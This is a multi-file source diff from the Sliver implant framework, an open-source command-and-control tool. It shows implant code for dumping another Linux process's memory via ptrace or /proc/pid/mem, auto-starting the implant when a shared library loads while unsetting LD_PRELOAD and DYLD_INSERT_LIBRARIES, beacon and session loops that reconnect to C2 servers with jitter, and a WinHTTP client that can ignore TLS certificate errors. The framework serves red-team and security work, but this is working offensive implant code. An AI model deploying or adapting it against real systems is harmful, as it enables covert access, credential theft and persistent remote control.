@@ -596,29 +595,3 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
return privInfo, integrity, processName, nil
}
// CurrentTokenOwner returns the current thread's token owner
func CurrentTokenOwner() (string, error) {
currToken := CurrentToken
// when the windows.Handle is zero (no impersonation), future method calls
// on it result in the windows error INVALID_TOKEN_HANDLE, so we get the
// actual handle
if currToken == 0 {
currToken = windows.GetCurrentProcessToken()
}
return TokenOwner(currToken)
}
// TokenOwner will resolve the primary token or thread owner of the given
// handle
func TokenOwner(hToken windows.Token) (string, error) {
tokenUser, err := hToken.GetTokenUser()
if err != nil {
return "", err
}
user, domain, _, err := tokenUser.User.Sid.LookupAccount("")
if err != nil {
return "", err
}
return fmt.Sprintf(`%s\%s`, domain, user), err
}
+1 -321
View File
@@ -2,21 +2,9 @@
package procdump
import (
"bufio"
"fmt"
"io"
"os"
"regexp"
"runtime"
"strconv"
"strings"
"syscall"
)
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -32,28 +20,6 @@ import (
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// A struct to hold information about each region of memory
type MemoryRegion struct {
// Start address of the region
start uint64
// End address of the region
end uint64
/*
Flag that indicates if this region is mapped to a file
on disk. Currently, we are only dumping regions that
are not backed by a file on disk.
*/
isFile bool
// File name - only populated if isFile is true
fileName string
}
// A regex for each line of /proc/<PID>/maps
var mapLineModel = regexp.MustCompile(`^(\w+)-(\w+)\s+(\S+)\s+\S+\s+(\S+)\s+\d+\s*(\S+)?$`)
// LinuxDump - Structure implementing the ProcessDump
// interface for linux processes
type LinuxDump struct {
@@ -65,293 +31,7 @@ func (d *LinuxDump) Data() []byte {
return d.data
}
/*
Map out the application's memory using /proc/<pid>/maps
Map format:
(1) (2) (3) (4) (5) (6) (7)
7f926c0b0000-7f926c0d5000 r--s 00000000 08:03 4327445 /usr/share/mime/mime.cache
1: Start address of the memory region
2: End address of the memory region
3: Permissions (rwx) and p/s (p=private, s=shared)
4: Offset (offset in bytes into the file, field 7): This is only relevant to files
5: Device ID (the major:minor device ID of the disk that contains the file) - 00:00 for non-file mappings
6: inode on the device
7: Filename (empty if the mapping is not a file)
*/
func parseMap(mapLine string) *MemoryRegion {
regionInformation := mapLineModel.FindStringSubmatch(mapLine)
if regionInformation == nil {
// No match
return nil
}
if strings.HasPrefix(regionInformation[3], "r") {
// This section of memory is readable, and we will return it
/*
There is a bug in how ptrace reads the vvar region of memory,
see https://lkml.iu.edu/hypermail/linux/kernel/1503.1/03733.html
The vvar region is for shared kernel variables
If this is vvar, then skip it so that we do not run into errors
due to it later
In testing, other regions reserved by the kernel proved problematic,
namely vdso and vsyscall. Those regions likely do not contain any
sensitive information, so they can be skipped.
*/
if regionInformation[5] == "[vvar]" || regionInformation[5] == "[vdso]" || regionInformation[5] == "[vsyscall]" {
return nil
}
memRegion := MemoryRegion{}
regionStart, err := strconv.ParseUint(regionInformation[1], 16, 64)
if err != nil {
// Something is wrong with this region, discard this record
return nil
}
memRegion.start = regionStart
regionEnd, err := strconv.ParseUint(regionInformation[2], 16, 64)
if err != nil {
// Something is wrong with this region, discard this record
return nil
}
memRegion.end = regionEnd
if regionInformation[4] == "00:00" {
// Then this is not a file
memRegion.isFile = false
memRegion.fileName = ""
} else {
memRegion.isFile = true
memRegion.fileName = regionInformation[5]
}
return &memRegion
}
return nil
}
/*
Create a map of the process' memory from /proc/<PID>/maps
Return: a slice of MemoryRegions, number of bytes represented by the map
*/
func createMemoryMap(pid int32) ([]*MemoryRegion, uint64, error) {
maps, err := os.Open("/proc/" + strconv.FormatInt(int64(pid), 10) + "/maps")
if err != nil {
// Could not open the map
return nil, 0, fmt.Errorf("{{if .Config.Debug}}Could not open memory map for the process{{end}}")
}
defer maps.Close()
var memorySize uint64 = 0
var completeMemoryMap []*MemoryRegion
buffer := bufio.NewReader(maps)
line, err := buffer.ReadString('\n')
// Keep reading until we hit an error
for err == nil {
memoryMapInfo := parseMap(strings.TrimSpace(line))
// Only concerned about regions not backed by a file on disk
if memoryMapInfo != nil && !memoryMapInfo.isFile {
completeMemoryMap = append(completeMemoryMap, memoryMapInfo)
memorySize += memoryMapInfo.end - memoryMapInfo.start
}
// Read the next line
line, err = buffer.ReadString('\n')
}
// End of file is OK - anything else is not.
if err != nil && err != io.EOF {
return nil, 0, fmt.Errorf("{{if .Config.Debug}}Error encountered reading through memory maps{{end}}")
}
return completeMemoryMap, memorySize, nil
}
func checkPermissions() (bool, error) {
/*
Check to see if we are root.
According to the proc man page, we need root unless the process has the dumpable flag.
Unless it becomes necessary to check for the dumpable flag, we will keep things simple
and require root.
*/
if currentUID := os.Getuid(); currentUID != 0 {
return false, fmt.Errorf("{{if .Config.Debug}}Must be root to read memory from another process{{end}}")
}
/*
Check to make sure /proc/sys/kernel/yama/ptrace_scope is not 3
(dumping process memory does not work with a ptrace_scope value of 3)
Yama was merged in kernel 3.4
If reading the value fails, it might be because it is not there. Should not be a permissions
issue because if we make it here, we are root. If it is not there, this might be a super old kernel.
*/
ptrace_scope, err := os.ReadFile("/proc/sys/kernel/yama/ptrace_scope")
if err != nil {
// Even if we get an error here, we should try to read process memory anyway.
return true, nil
}
if strings.TrimSpace(string(ptrace_scope)) == "3" {
return false, fmt.Errorf("{{if .Config.Debug}}ptrace_scope is too restrictive{{end}}")
}
return true, nil
}
func isOldKernelVersion() bool {
kernelVersionRegex := regexp.MustCompile(`^(\d+)\.(\d+).*$`)
/*
/proc/sys/kernel/osrelease has the version number of the kernel
If it is less than 3.3, you can only read memory from the process by attaching
to it with ptrace
*/
kernelVersion, err := os.ReadFile("/proc/sys/kernel/osrelease")
if err != nil {
/*
If this does not exist or is not readable, use the ptrace method
since that should work for all kernels (assuming we have the
correct permissions which we will check)
*/
return true
}
majorMinorKVer := kernelVersionRegex.FindStringSubmatch(strings.TrimSpace(string(kernelVersion)))
if majorMinorKVer == nil {
// The kernel version did not match the expected format, use the ptrace method
return true
}
majorKVer, err := strconv.Atoi(majorMinorKVer[1])
if err != nil {
// Unable to determine kernel version so use the ptrace method to be safe
return true
}
if majorKVer > 3 {
// We can read directly from /proc/pid/mem on 4.x+ kernels
return false
} else if majorKVer == 3 {
minorKVer, err := strconv.Atoi(majorMinorKVer[2])
if err != nil {
// Unable to determine the minor kernel version, so use the ptrace method to be safe
return true
}
if minorKVer >= 3 {
// We can read directly from /proc/pid/mem starting with kernel 3.3
return false
} else {
return true
}
} else {
// If the kernel version is 2.x or lower, we have to use ptrace
return true
}
}
func dumpProcess(pid int32) (ProcessDump, error) {
res := &LinuxDump{}
usePTrace := isOldKernelVersion()
permissionsOK, err := checkPermissions()
if !permissionsOK || err != nil {
return res, err
}
processRegions, dumpSize, err := createMemoryMap(pid)
if err != nil {
return res, err
}
// Create a buffer to put the memory
res.data = make([]byte, dumpSize)
currentDumpOffset := 0
if usePTrace {
// Attach to the process using ptrace
proc, err := os.FindProcess(int(pid))
if err != nil {
// Then the process does not exist
return res, fmt.Errorf("{{if .Config.Debug}}Could not attach to the process, process does not exist{{end}}")
}
runtime.LockOSThread()
defer runtime.UnlockOSThread()
err = syscall.PtraceAttach(int(pid))
if err != nil {
return res, fmt.Errorf("{{if .Config.Debug}}Could not attach to the process{{end}}")
}
_, err = proc.Wait()
if err != nil {
return res, fmt.Errorf("{{if .Config.Debug}}Failure in waiting for the process after attaching{{end}}")
}
// Read the memory, region by region
for _, region := range(processRegions) {
numberOfBytes := int(region.end - region.start)
bytesRead, err := syscall.PtracePeekData(int(pid), uintptr(region.start), res.data[currentDumpOffset:currentDumpOffset + numberOfBytes])
if err != nil {
return res, fmt.Errorf("{{if .Config.Debug}}Error reading process memory{{end}}")
}
currentDumpOffset += bytesRead
}
// Do not forget to detach when we are done
// Send a continue signal so that the process resumes (attaching with ptrace pauses the process)
err = syscall.Kill(int(pid), syscall.SIGCONT)
if err != nil {
return res, fmt.Errorf("{{if .Config.Debug}}Sending continue signal failed - the process is likely hung. Recommend killing it.{{end}}")
}
err = syscall.PtraceDetach(int(pid))
if err != nil {
return res, fmt.Errorf("{{if .Config.Debug}}Could not detach from the process - the process is likely hung. Recommend killing it.{{end}}")
}
} else {
// Open the memory "file"
processMemory, err := os.Open("/proc/" + strconv.FormatInt(int64(pid), 10) + "/mem")
if err != nil {
return res, fmt.Errorf("{{if .Config.Debug}}Could not open process memory{{end}}")
}
defer processMemory.Close()
for _, region := range(processRegions) {
/*
Figure out the size of the memory region to read so we know how big of
a slice to cut from the buffer
*/
numberOfBytes := int(region.end - region.start)
bytesRead, err := processMemory.ReadAt(res.data[currentDumpOffset:currentDumpOffset + numberOfBytes], int64(region.start))
if err != nil && err != io.EOF {
return res, fmt.Errorf("{{if .Config.Debug}}Error reading process memory{{end}}")
}
currentDumpOffset += bytesRead
}
}
return res, nil
}
+7 -12
View File
@@ -1,7 +1,6 @@
#include "sliver.h"
#ifdef __WIN32
#include <windows.h>
DWORD WINAPI Start()
{
@@ -19,13 +18,13 @@ BOOL WINAPI DllMain(
case DLL_PROCESS_ATTACH:
// Initialize once for each new process.
// Return FALSE to fail DLL load.
{
// {{if .Config.RunAtLoad}}
// CreateThread() because otherwise DllMain() is highly likely to deadlock.
HANDLE hThread = CreateThread(NULL, 0, Start, NULL, 0, NULL);
// {{end}}
}
break;
{
// {{if .Config.IsSharedLib}}
HANDLE hThread = CreateThread(NULL, 0, Start, NULL, 0, NULL);
// CreateThread() because otherwise DllMain() is highly likely to deadlock.
// {{end}}
}
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
@@ -47,9 +46,7 @@ static void init(int argc, char **argv, char **envp)
{
unsetenv("LD_PRELOAD");
unsetenv("LD_PARAMS");
// {{if .Config.RunAtLoad}}
StartW();
// {{end}}
}
__attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
#elif __APPLE__
@@ -60,9 +57,7 @@ __attribute__((constructor)) static void init(int argc, char **argv, char **envp
{
unsetenv("DYLD_INSERT_LIBRARIES");
unsetenv("LD_PARAMS");
// {{if .Config.RunAtLoad}}
StartW();
// {{end}}
}
#endif
+26 -31
View File
@@ -82,10 +82,10 @@ func init() {
buf := make([]byte, 8)
n, err := rand.Read(buf)
if err != nil || n != len(buf) {
insecureRand.Seed(time.Now().Unix())
} else {
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
binary.LittleEndian.PutUint64(buf, uint64(time.Now().Unix()))
}
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
id, err := uuid.NewV4()
if err != nil {
buf := make([]byte, 16) // NewV4 fails if secure rand fails
@@ -105,11 +105,25 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
for {
select {
default:
// {{if .Config.IsBeacon}}
beaconStartup()
// {{else}}
sessionStartup()
// {{end}}
abort := make(chan struct{})
connections := transports.StartConnectionLoop(c2Servers, abort)
for connection := range connections {
if connection == nil {
break
}
err := sessionMainLoop(connection)
if err != nil {
connectionErrors++
if transports.GetMaxConnectionErrors() < connectionErrors {
return
}
}
reconnect := transports.GetReconnectInterval()
// {{if .Config.Debug}}
log.Printf("Reconnect sleep: %s", reconnect)
// {{end}}
time.Sleep(reconnect)
}
case c := <-r:
switch c.Cmd {
case svc.Interrogate:
@@ -185,16 +199,7 @@ func main() {
// {{else}}
// {{if .Config.IsBeacon}}
beaconStartup()
// {{else}} ------- IsBeacon/IsSession -------
sessionStartup()
// {{end}}
// {{end}} ------- IsService -------
}
// {{if .Config.IsBeacon}}
func beaconStartup() {
// {{if .Config.Debug}}
log.Printf("Running in Beacon mode with ID: %s", InstanceID)
// {{end}}
@@ -222,11 +227,9 @@ func beaconStartup() {
// {{end}}
time.Sleep(reconnect)
}
}
// {{else}}
// {{else}} ------- IsBeacon/IsSession -------
func sessionStartup() {
// {{if .Config.Debug}}
log.Printf("Running in session mode")
// {{end}}
@@ -251,9 +254,10 @@ func sessionStartup() {
// {{end}}
time.Sleep(reconnect)
}
}
// {{end}}
// {{end}}
// {{end}}
}
// {{if .Config.IsBeacon}}
func beaconMainLoop(beacon *transports.Beacon) error {
@@ -307,23 +311,16 @@ func beaconMainLoop(beacon *transports.Beacon) error {
// until all tasks complete (in success or failure), if a task handler blocks
// forever it will simply block this set of tasks instead of the entire beacon
errors := make(chan error)
shortCircuit := make(chan struct{})
for {
duration := beacon.Duration()
nextCheckin = time.Now().Add(duration)
go func() {
oldInterval := beacon.Interval()
err := beaconMain(beacon, nextCheckin)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[beacon] main error: %v", nextCheckin)
// {{end}}
errors <- err
} else if oldInterval != beacon.Interval() {
// The beacon's interval was modified so we need to short circuit
// the current sleep and tell the server when the next checkin will
// be based on the new interval.
shortCircuit <- struct{}{}
}
}()
@@ -334,8 +331,6 @@ func beaconMainLoop(beacon *transports.Beacon) error {
case <-errors:
return err
case <-time.After(duration):
case <-shortCircuit:
// Short circuit current duration with no error
}
}
return nil
+12 -6
View File
@@ -30,6 +30,8 @@ import (
"net/url"
"time"
"strconv"
// {{if .Config.MTLSc2Enabled}}
"crypto/tls"
@@ -50,10 +52,6 @@ import (
// {{end}}
// {{if or .Config.MTLSc2Enabled .Config.WGc2Enabled}}
"strconv"
// {{end}}
// {{if .Config.DNSc2Enabled}}
"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
@@ -88,12 +86,20 @@ type Beacon struct {
// Interval - Interval between beacons
func (b *Beacon) Interval() int64 {
return GetInterval()
interval, err := strconv.ParseInt(`{{.Config.BeaconInterval}}`, 10, 64)
if err != nil {
interval = int64(30 * time.Second)
}
return int64(interval)
}
// Jitter - Jitter between beacons
func (b *Beacon) Jitter() int64 {
return GetJitter()
jitter, err := strconv.ParseInt(`{{.Config.BeaconJitter}}`, 10, 64)
if err != nil {
jitter = int64(30 * time.Second)
}
return int64(jitter)
}
// Duration - Interval + random value <= Jitter
@@ -0,0 +1,6 @@
*.profile
*.test
build
cmd/*
local
tags
@@ -2,12 +2,10 @@
#### Changes
* Removed winhttp code
* Removed custom errors package
* Removed custom pathname package
* Refactored names to be consistent with the rest of the Sliver code base
* Merged client `http` sub-packages with `winhttp` and `wininet`
* Added custom cookie jar implementation to wininet client
# Win
@@ -29,13 +29,13 @@ func genFile(
cache map[string]string,
lines [][]string,
) error {
var err error
var e error
var file string = "generated.go"
var g *os.File
var sorted []string
if g, err = os.Create(file); err != nil {
return fmt.Errorf("failed to create %s: %w", file, err)
if g, e = os.Create(file); e != nil {
return fmt.Errorf("failed to create %s: %w", file, e)
}
defer g.Close()
@@ -112,13 +112,13 @@ func main() {
continue
}
if err := processFile(&cache, &lines, arg); err != nil {
panic(err)
if e := processFile(&cache, &lines, arg); e != nil {
panic(e)
}
}
if err := genFile(flag.Arg(0), cache, lines); err != nil {
panic(err)
if e := genFile(flag.Arg(0), cache, lines); e != nil {
panic(e)
}
}
@@ -128,18 +128,18 @@ func processFile(
file string,
) error {
var b []byte
var err error
var e error
var f *os.File
var fullLine string
var tmp []string
if f, err = os.Open(ExpandPath(file)); err != nil {
return fmt.Errorf("failed to open %s: %w", file, err)
if f, e = os.Open(ExpandPath(file)); e != nil {
return fmt.Errorf("failed to open %s: %w", file, e)
}
defer f.Close()
if b, err = ioutil.ReadAll(f); err != nil {
return fmt.Errorf("failed to read %s: %w", file, err)
if b, e = ioutil.ReadAll(f); e != nil {
return fmt.Errorf("failed to read %s: %w", file, e)
}
for _, line := range strings.Split(string(b), "\n") {
@@ -196,7 +196,7 @@ func DoesExist(path string) bool {
// ExpandPath will expand the specified path accounting for ~ or ~user
// shortcuts as well as ENV vars.
func ExpandPath(path string) string {
var err error
var e error
var sep int
var usr *user.User
@@ -214,12 +214,12 @@ func ExpandPath(path string) string {
case -1:
// If just ~
if path == "~" {
if usr, err = user.Current(); err != nil {
if usr, e = user.Current(); e != nil {
return path
}
} else {
// If ~user shortcut
if usr, err = user.Lookup(path[1:]); err != nil {
if usr, e = user.Lookup(path[1:]); e != nil {
return path
}
}
@@ -227,14 +227,14 @@ func ExpandPath(path string) string {
path = ""
case 1:
// If path starting with ~/
if usr, err = user.Current(); err != nil {
if usr, e = user.Current(); e != nil {
return path
}
path = path[2:]
default:
// If ~user/ shortcut
if usr, err = user.Lookup(path[1:sep]); err != nil {
if usr, e = user.Lookup(path[1:sep]); e != nil {
return path
}
@@ -0,0 +1,37 @@
//go:build !windows
package winhttp
import "errors"
// Client is an empty struct, if not Windows.
type Client struct{}
// NewClient is only supported on Windows.
func NewClient() (*Client, error) {
return &Client{}, errors.New("unsupported OS")
}
// Do is only supported on Windows.
func (c *Client) Do(r *Request) (*Response, error) {
return nil, errors.New("unsupported OS")
}
// Get is only supported on Windows.
func (c *Client) Get(url string) (*Response, error) {
return nil, errors.New("unsupported OS")
}
// Head is only supported on Windows.
func (c *Client) Head(url string) (*Response, error) {
return nil, errors.New("unsupported OS")
}
// Post is only supported on Windows.
func (c *Client) Post(
url string,
contentType string,
body []byte,
) (*Response, error) {
return nil, errors.New("unsupported OS")
}
@@ -0,0 +1,178 @@
package winhttp
import (
"encoding/binary"
"fmt"
"io/ioutil"
"net/http"
"time"
)
// Client is a struct containing relevant metadata to make HTTP
// requests.
type Client struct {
handle uintptr
Timeout time.Duration
TLSClientConfig struct {
InsecureSkipVerify bool
}
}
// NewClient will return a pointer to a new Client instance that
// simply wraps the net/http.Client type.
func NewClient(userAgent string) (*Client, error) {
var c = &Client{}
var e error
// Create session
c.handle, e = Open(
userAgent,
WinhttpAccessTypeAutomaticProxy,
"",
"",
0,
)
if e != nil {
return nil, fmt.Errorf("failed to create session: %w", e)
}
return c, nil
}
// Do will send the HTTP request and return an HTTP response.
func (c *Client) Do(request *http.Request) (*http.Response, error) {
var buf []byte
var err error
var reqHandle uintptr
var resp *Response
var tlsIgnore uintptr
// Convert http.Request to internal pkg Request
var rawBody []byte
if request.Body != nil {
rawBody, err = ioutil.ReadAll(request.Body)
if err != nil {
return nil, fmt.Errorf("failed to read request body: %w", err)
}
}
headers := make(map[string]string)
for headerName, headerValue := range request.Header {
if 0 < len(headerValue) {
headers[headerName] = headerValue[0]
}
}
req := &Request{
Method: request.Method,
URL: request.URL.String(),
Headers: headers,
Body: rawBody,
}
if reqHandle, err = buildRequest(c.handle, req); err != nil {
return nil, err
}
if c.Timeout > 0 {
buf = make([]byte, 4)
binary.LittleEndian.PutUint32(
buf,
uint32(c.Timeout.Milliseconds()),
)
err = SetOption(
reqHandle,
WinhttpOptionConnectTimeout,
buf,
len(buf),
)
if err != nil {
err = fmt.Errorf("failed to set connect timeout: %w", err)
return nil, err
}
err = SetOption(
reqHandle,
WinhttpOptionReceiveResponseTimeout,
buf,
len(buf),
)
if err != nil {
err = fmt.Errorf("failed to set response timeout: %w", err)
return nil, err
}
err = SetOption(
reqHandle,
WinhttpOptionReceiveTimeout,
buf,
len(buf),
)
if err != nil {
err = fmt.Errorf("failed to set receive timeout: %w", err)
return nil, err
}
err = SetOption(
reqHandle,
WinhttpOptionResolveTimeout,
buf,
len(buf),
)
if err != nil {
err = fmt.Errorf("failed to set resolve timeout: %w", err)
return nil, err
}
err = SetOption(
reqHandle,
WinhttpOptionSendTimeout,
buf,
len(buf),
)
if err != nil {
err = fmt.Errorf("failed to set send timeout: %w", err)
return nil, err
}
}
if c.TLSClientConfig.InsecureSkipVerify {
tlsIgnore |= SecurityFlagIgnoreUnknownCa
tlsIgnore |= SecurityFlagIgnoreCertDateInvalid
tlsIgnore |= SecurityFlagIgnoreCertCnInvalid
tlsIgnore |= SecurityFlagIgnoreCertWrongUsage
buf = make([]byte, 4)
binary.LittleEndian.PutUint32(buf, uint32(tlsIgnore))
err = SetOption(
reqHandle,
WinhttpOptionSecurityFlags,
buf,
len(buf),
)
if err != nil {
err = fmt.Errorf("failed to set security flags: %w", err)
return nil, err
}
}
if err = sendRequest(reqHandle, req); err != nil {
return nil, err
}
if resp, err = buildResponse(reqHandle, req); err != nil {
return nil, err
}
return &http.Response{
Status: resp.Status,
StatusCode: resp.StatusCode,
Proto: "HTTP/1.1",
ProtoMajor: 1,
ProtoMinor: 1,
Body: resp.Body,
ContentLength: resp.ContentLength,
Request: request,
Header: make(http.Header),
}, nil
}
@@ -0,0 +1,8 @@
package winhttp
// Cookie represents an HTTP cookie sent in the Cookie header of an
// HTTP Request.
type Cookie struct {
Name string
Value string
}
@@ -0,0 +1,462 @@
// Code generated by tools/defines.go; DO NOT EDIT.
package winhttp
const (
InternetDefaultPort uintptr = 0
InternetDefaultHTTPPort uintptr = 80
InternetDefaultHTTPsPort uintptr = 443
InternetSchemeHTTP uintptr = 1
InternetSchemeHTTPs uintptr = 2
InternetSchemeFtp uintptr = 3
InternetSchemeSocks uintptr = 4
IcuEscape uintptr = 0x80000000
IcuEscapeAuthority uintptr = 0x00002000
IcuRejectUserpwd uintptr = 0x00004000
WinhttpFlagAsync uintptr = 0x10000000
WinhttpFlagEscapePercent uintptr = 0x00000004
WinhttpFlagNullCodepage uintptr = 0x00000008
WinhttpFlagEscapeDisable uintptr = 0x00000040
WinhttpFlagEscapeDisableQuery uintptr = 0x00000080
WinhttpFlagBypassProxyCache uintptr = 0x00000100
WinhttpFlagRefresh uintptr = WinhttpFlagBypassProxyCache
WinhttpFlagSecure uintptr = 0x00800000
WinhttpAccessTypeDefaultProxy uintptr = 0
WinhttpAccessTypeNoProxy uintptr = 1
WinhttpAccessTypeNamedProxy uintptr = 3
WinhttpAccessTypeAutomaticProxy uintptr = 4
WinhttpNoProxyName uintptr = 0
WinhttpNoProxyBypass uintptr = 0
WinhttpNoClientCertContext uintptr = 0
WinhttpNoReferer uintptr = 0
WinhttpDefaultAcceptTypes uintptr = 0
WinhttpNoAdditionalHeaders uintptr = 0
WinhttpNoRequestData uintptr = 0
WinhttpHeaderNameByIndex uintptr = 0
WinhttpNoOutputBuffer uintptr = 0
WinhttpNoHeaderIndex uintptr = 0
WinhttpAddreqIndexMask uintptr = 0x0000FFFF
WinhttpAddreqFlagsMask uintptr = 0xFFFF0000
WinhttpAddreqFlagAddIfNew uintptr = 0x10000000
WinhttpAddreqFlagAdd uintptr = 0x20000000
WinhttpAddreqFlagCoalesceWithComma uintptr = 0x40000000
WinhttpAddreqFlagCoalesceWithSemicolon uintptr = 0x01000000
WinhttpAddreqFlagCoalesce uintptr = WinhttpAddreqFlagCoalesceWithComma
WinhttpAddreqFlagReplace uintptr = 0x80000000
WinhttpIgnoreRequestTotalLength uintptr = 0
WinhttpFirstOption uintptr = WinhttpOptionCallback
WinhttpOptionCallback uintptr = 1
WinhttpOptionResolveTimeout uintptr = 2
WinhttpOptionConnectTimeout uintptr = 3
WinhttpOptionConnectRetries uintptr = 4
WinhttpOptionSendTimeout uintptr = 5
WinhttpOptionReceiveTimeout uintptr = 6
WinhttpOptionReceiveResponseTimeout uintptr = 7
WinhttpOptionHandleType uintptr = 9
WinhttpOptionReadBufferSize uintptr = 12
WinhttpOptionWriteBufferSize uintptr = 13
WinhttpOptionParentHandle uintptr = 21
WinhttpOptionExtendedError uintptr = 24
WinhttpOptionSecurityFlags uintptr = 31
WinhttpOptionSecurityCertificateStruct uintptr = 32
WinhttpOptionUrl uintptr = 34
WinhttpOptionSecurityKeyBitness uintptr = 36
WinhttpOptionProxy uintptr = 38
WinhttpOptionProxyResultEntry uintptr = 39
WinhttpOptionUserAgent uintptr = 41
WinhttpOptionContextValue uintptr = 45
WinhttpOptionClientCertContext uintptr = 47
WinhttpOptionRequestPriority uintptr = 58
WinhttpOptionHTTPVersion uintptr = 59
WinhttpOptionDisableFeature uintptr = 63
WinhttpOptionCodepage uintptr = 68
WinhttpOptionMaxConnsPerServer uintptr = 73
WinhttpOptionMaxConnsPer10Server uintptr = 74
WinhttpOptionAutologonPolicy uintptr = 77
WinhttpOptionServerCertContext uintptr = 78
WinhttpOptionEnableFeature uintptr = 79
WinhttpOptionWorkerThreadCount uintptr = 80
WinhttpOptionPassportCobrandingText uintptr = 81
WinhttpOptionPassportCobrandingUrl uintptr = 82
WinhttpOptionConfigurePassportAuth uintptr = 83
WinhttpOptionSecureProtocols uintptr = 84
WinhttpOptionEnabletracing uintptr = 85
WinhttpOptionPassportSignOut uintptr = 86
WinhttpOptionPassportReturnUrl uintptr = 87
WinhttpOptionRedirectPolicy uintptr = 88
WinhttpOptionMaxHTTPAutomaticRedirects uintptr = 89
WinhttpOptionMaxHTTPStatusContinue uintptr = 90
WinhttpOptionMaxResponseHeaderSize uintptr = 91
WinhttpOptionMaxResponseDrainSize uintptr = 92
WinhttpOptionConnectionInfo uintptr = 93
WinhttpOptionClientCertIssuerList uintptr = 94
WinhttpOptionSpn uintptr = 96
WinhttpOptionGlobalProxyCreds uintptr = 97
WinhttpOptionGlobalServerCreds uintptr = 98
WinhttpOptionUnloadNotifyEvent uintptr = 99
WinhttpOptionRejectUserpwdInUrl uintptr = 100
WinhttpOptionUseGlobalServerCredentials uintptr = 101
WinhttpOptionReceiveProxyConnectResponse uintptr = 103
WinhttpOptionIsProxyConnectResponse uintptr = 104
WinhttpOptionServerSpnUsed uintptr = 106
WinhttpOptionProxySpnUsed uintptr = 107
WinhttpOptionServerCbt uintptr = 108
WinhttpOptionUnsafeHeaderParsing uintptr = 110
WinhttpOptionAssuredNonBlockingCallbacks uintptr = 111
WinhttpOptionUpgradeToWebSocket uintptr = 114
WinhttpOptionWebSocketCloseTimeout uintptr = 115
WinhttpOptionWebSocketKeepaliveInterval uintptr = 116
WinhttpOptionDecompression uintptr = 118
WinhttpOptionWebSocketReceiveBufferSize uintptr = 122
WinhttpOptionWebSocketSendBufferSize uintptr = 123
WinhttpOptionTcpPriorityHint uintptr = 128
WinhttpOptionConnectionFilter uintptr = 131
WinhttpOptionEnableHTTPProtocol uintptr = 133
WinhttpOptionHTTPProtocolUsed uintptr = 134
WinhttpOptionKdcProxySettings uintptr = 136
WinhttpOptionEncodeExtra uintptr = 138
WinhttpOptionDisableStreamQueue uintptr = 139
WinhttpOptionIpv6FastFallback uintptr = 140
WinhttpOptionConnectionStatsV0 uintptr = 141
WinhttpOptionRequestTimes uintptr = 142
WinhttpOptionExpireConnection uintptr = 143
WinhttpOptionDisableSecureProtocolFallback uintptr = 144
WinhttpOptionHTTPProtocolRequired uintptr = 145
WinhttpOptionRequestStats uintptr = 146
WinhttpOptionServerCertChainContext uintptr = 147
WinhttpLastOption uintptr = WinhttpOptionServerCertChainContext
WinhttpOptionUsername uintptr = 0x1000
WinhttpOptionPassword uintptr = 0x1001
WinhttpOptionProxyUsername uintptr = 0x1002
WinhttpOptionProxyPassword uintptr = 0x1003
WinhttpConnsPerServerUnlimited uintptr = 0xFFFFFFFF
WinhttpDecompressionFlagGzip uintptr = 0x00000001
WinhttpDecompressionFlagDeflate uintptr = 0x00000002
WinhttpDecompressionFlagAll uintptr = (WinhttpDecompressionFlagGzip | WinhttpDecompressionFlagDeflate)
WinhttpProtocolFlagHTTP2 uintptr = 0x1
WinhttpProtocolMask uintptr = WinhttpProtocolFlagHTTP2
WinhttpAutologonSecurityLevelMedium uintptr = 0
WinhttpAutologonSecurityLevelLow uintptr = 1
WinhttpAutologonSecurityLevelHigh uintptr = 2
WinhttpAutologonSecurityLevelDefault uintptr = WinhttpAutologonSecurityLevelMedium
WinhttpOptionRedirectPolicyNever uintptr = 0
WinhttpOptionRedirectPolicyDisallowHTTPsToHTTP uintptr = 1
WinhttpOptionRedirectPolicyAlways uintptr = 2
WinhttpOptionRedirectPolicyLast uintptr = WinhttpOptionRedirectPolicyAlways
WinhttpOptionRedirectPolicyDefault uintptr = WinhttpOptionRedirectPolicyDisallowHTTPsToHTTP
WinhttpDisablePassportAuth uintptr = 0x00000000
WinhttpEnablePassportAuth uintptr = 0x10000000
WinhttpDisablePassportKeyring uintptr = 0x20000000
WinhttpEnablePassportKeyring uintptr = 0x40000000
WinhttpDisableCookies uintptr = 0x00000001
WinhttpDisableRedirects uintptr = 0x00000002
WinhttpDisableAuthentication uintptr = 0x00000004
WinhttpDisableKeepAlive uintptr = 0x00000008
WinhttpEnableSslRevocation uintptr = 0x00000001
WinhttpEnableSslRevertImpersonation uintptr = 0x00000002
WinhttpDisableSpnServerPort uintptr = 0x00000000
WinhttpEnableSpnServerPort uintptr = 0x00000001
WinhttpOptionSpnMask uintptr = WinhttpEnableSpnServerPort
WinhttpErrorBase uintptr = 12000
ErrorWinhttpOutOfHandles uintptr = (WinhttpErrorBase + 1)
ErrorWinhttpTimeout uintptr = (WinhttpErrorBase + 2)
ErrorWinhttpInternalError uintptr = (WinhttpErrorBase + 4)
ErrorWinhttpInvalidUrl uintptr = (WinhttpErrorBase + 5)
ErrorWinhttpUnrecognizedScheme uintptr = (WinhttpErrorBase + 6)
ErrorWinhttpNameNotResolved uintptr = (WinhttpErrorBase + 7)
ErrorWinhttpInvalidOption uintptr = (WinhttpErrorBase + 9)
ErrorWinhttpOptionNotSettable uintptr = (WinhttpErrorBase + 11)
ErrorWinhttpShutdown uintptr = (WinhttpErrorBase + 12)
ErrorWinhttpLoginFailure uintptr = (WinhttpErrorBase + 15)
ErrorWinhttpOperationCancelled uintptr = (WinhttpErrorBase + 17)
ErrorWinhttpIncorrectHandleType uintptr = (WinhttpErrorBase + 18)
ErrorWinhttpIncorrectHandleState uintptr = (WinhttpErrorBase + 19)
ErrorWinhttpCannotConnect uintptr = (WinhttpErrorBase + 29)
ErrorWinhttpConnectionError uintptr = (WinhttpErrorBase + 30)
ErrorWinhttpResendRequest uintptr = (WinhttpErrorBase + 32)
ErrorWinhttpSecureCertDateInvalid uintptr = (WinhttpErrorBase + 37)
